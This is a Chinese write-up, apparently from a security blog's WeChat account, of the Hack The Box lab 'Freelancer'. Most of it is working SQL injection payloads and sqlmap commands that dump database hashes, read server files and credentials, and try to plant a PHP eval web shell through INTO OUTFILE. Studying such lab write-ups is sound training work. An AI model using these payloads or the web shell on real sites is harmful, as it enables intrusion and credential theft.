点击上方“蓝字”关注公众号获取最新信息!
本文作者:Twe1ve(贝塔安全实验室-核心成员)
邀请码获取及配置链接:
https://blog.csdn.net/Oavinci/article/details/90803233
加个index.php,页面正常,index.php?id=1正常,测试没发现有注入
跑了一会儿,发现portfolio.php页面,还是添加id=1,下边多了一行字,id=2,下边的字有所改变
简单测试 :
id=1 and 1=0 页面异常
id=1 and 1=1 回显id=1的页面
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,database(),3
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
portfolio,safeadmin
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='safeadmin'
id,username,password,created_at
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,username,3 from safeadmin
safeadm
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,password,3 from safeadmin
$2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,database(),3
freelancer
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1, (SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),3
---, 'root'@'localhost' YES,'db_user'@'%' -> NO
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,file_priv,0x3c62723e)+FROM+mysql.user),3
root -> Y·,db_user -> Y
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,password)+FROM+mysql.user),3
root -> ,db_user -> *333B6293F0FD8FF1F9D218E941B68C2525425C4C - 3
前面手工猜路径的时候通过报错信息得知是apache,apache猜一下路径写shell,默认路径为/var/www/html/,但是没写成功(结合后边来看估计是对当前目录没权限)
既然是root权限,试试看读取一下index.php和当前的portfolio.php
python sqlmap.py -u "http://docker.hackthebox.eu:30336/portfolio.php?id=2" --file-read=/var/www/html/portfolio.php
没想到portfolio.php来了个惊喜~目录猜对了~
<?php
// Include config file
require_once "administrat/include/config.php";
?>
哟呵,config.php,同样是sqlmap读取config.php内容
<?php
$link = new mysqli("localhost", "db_user", "Str0ngP4ss", "freelancer");
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
python sqlmap.py -d "mysql://freelancer:[email protected]:3306/safeadmin"
结果失败~,猜测是不是端口更改的原因,nmap一扫,发现mysql服务没有开启(或者没有对外开放)
但是我们还有前面爆破的路径,访问一下
administrat/include/config.php -----没有内容,权限不够
administrat/include -------还是没用内容
administrat/ ----------有了!一个登录界面!!!
竟然给了这么奇葩的后台路径,怪不得爆破不到!!!
尝试直接写shell:
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,0x3c3f706870206576616c28245f504f53545b27636d64275d293b203f3e,3 into outfile '/var/www/html/administrat/tw.php'
python sqlmap.py -u http://docker.hackthebox.eu:30796/portfolio.php?id=1 --file-write "C:UsersAdministratorDesktopc99.php" --file-dest "var/www/html/administrat/tw.php" -v 1
分析一波原因:
[1]magic_quotes_gpc()=on , 因为其他两个基本条件[1.1]有文件读写权限、[1.2]绝对路径已知都满足了
[2]马儿传上去被杀-------结果发现不是马儿的问题,根本不能写入任何东西~
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,tw-penetst,3 into outfile '/var/www/html/administrat/tw.txt' --
emmmm,走到这一步,我严重怀疑freelancer时候又读写权限,再次验证
http://docker.hackthebox.eu:30883/portfolio.php?id=1 and (select count(*) from mysql.user) > 0 ----页面正常,说明有可读权限
http://docker.hackthebox.eu:30883/portfolio.php?id=1 and (select count(file_priv) from mysql.user) >0 --页面正常,说明有load_file和into outfile权限
暂时放下,回到后台这边来,正准备大展身手的时候,发现,发现,发现。。。。。。。。
密码解不开啊啊啊啊啊啊啊啊啊啊啊啊啊啊
遇到的一些问题:
http://docker.hackthebox.eu:30796/portfolio.php?id=-2 union select 1,(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),3
,'root'@'localhost' -> YES
,'db_user'@'%' -> NO
http://docker.hackthebox.eu:30796/portfolio.php?id=-2 union select 1,database(),3
freelancer
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,file_priv,0x3c62723e)+FROM+mysql.user),3
root -> Y
sqlmap --is-dba --->true
python sqlmap.py -u http://docker.hackthebox.eu:30883/portfolio.php?id=1 --users
[*] 'db_user'@'%'
[*] 'root'@'localhost'
直接读取user,password:
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,password)+FROM+mysql.user),3
root -> ,db_user -> *333B6293F0FD8FF1F9D218E941B68C2525425C4C
问题[1]:当前数据库是user_db还是freelancer:db_user'@'% --->代表引用当前数据库用户,即freelancer
问题[2]:是否freelancer具有root权限 -->否,说明当前数据库存在两个用户,root用户和freelancer,root用户有root权限,freelancer则没有root权限,但对文件有读写的权限~
问题[[3]:直接读取的user有两个,root、freelancer。password属于哪一个 ?---user_db,也就是freelancer
本文始发于微信公众号(贝塔安全实验室):靶场攻略 | Freelance (hack the box)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论